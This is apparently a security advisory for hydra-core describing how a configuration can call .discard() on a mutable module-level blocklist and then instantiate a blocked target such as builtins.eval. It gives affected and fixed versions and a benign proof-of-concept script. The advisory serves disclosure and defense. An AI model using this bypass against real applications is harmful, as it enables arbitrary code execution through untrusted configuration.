Hydra: Mutable instantiate policy sets allow target blocklist bypass

Summary

Hydra's legacy instantiate() target blocklists and related execution-policy collections are stored in mutable module-level state. Because _locate() can resolve attributes on imported objects, a configuration can resolve a mutation method such as .discard(), modify the active policy, and then instantiate a target that would otherwise be blocked.

Impact

A configuration controlling multiple sibling _target_ entries can first remove an entry from a target blocklist and then invoke the removed target. Sibling nodes are processed in insertion order and consult the same mutable module-level policy.

This affects the legacy/default path without an execution whitelist. The 1.3 blocklist is a defense-in-depth measure rather than a complete security boundary, and applications must not treat arbitrary untrusted configuration as safe to instantiate or use for Python logging configuration.

Released hydra-core versions 1.3.4 through 1.3.6 and 1.4.0.dev4 through 1.4.0.dev9 are affected. Fixed releases are 1.3.7 and 1.4.0.dev10. The reported direct mutation path does not bypass an execution whitelist restricted to intended application targets and supplied by trusted Python code. During remediation, Hydra additionally hardened generic discovery, dispatch, introspection, alias, callable-result, and deferred-callable paths that could otherwise undermine name-only authorization.

Technical details

In hydra-core 1.3.4 and 1.3.5, the mutable blocklist is reachable as:

hydra._internal.instantiate._instantiate2.DEFAULT_BLOCKLISTED_MODULES

In hydra-core 1.3.6, the expanded policy includes mutable collections in:

hydra._internal.target_policy

For example:

hydra._internal.target_policy.UNCONTROLLED_EXECUTION_TARGETS.discard

resolves to the bound set.discard method. The mutation target itself is not blocked on the legacy path. Once an entry is removed, subsequent authorization checks observe the modified set.

Other runtime policy collections can be attacked similarly by removing denied entries or adding entries to exception sets. Because the collections are module-level state, a successful mutation persists for the lifetime of the Python process unless explicitly reversed.

Safe reproduction

The behavior in hydra-core 1.3.6 can be demonstrated without invoking a shell command. The finally block restores the modified process-global state:

from omegaconf import OmegaConf

from hydra._internal.target_policy import UNCONTROLLED_EXECUTION_TARGETS
from hydra.utils import instantiate

target = "builtins.eval"
assert target in UNCONTROLLED_EXECUTION_TARGETS

try:
    result = instantiate(
        OmegaConf.create(
            {
                "disarm": {
                    "_target_": (
                        "hydra._internal.target_policy."
                        "UNCONTROLLED_EXECUTION_TARGETS.discard"
                    ),
                    "_args_": [target],
                },
                "proof": {
                    "_target_": target,
                    "_args_": ["40 + 2"],
                },
            }
        )
    )

    assert result["proof"] == 42
    assert target not in UNCONTROLLED_EXECUTION_TARGETS
finally:
    UNCONTROLLED_EXECUTION_TARGETS.add(target)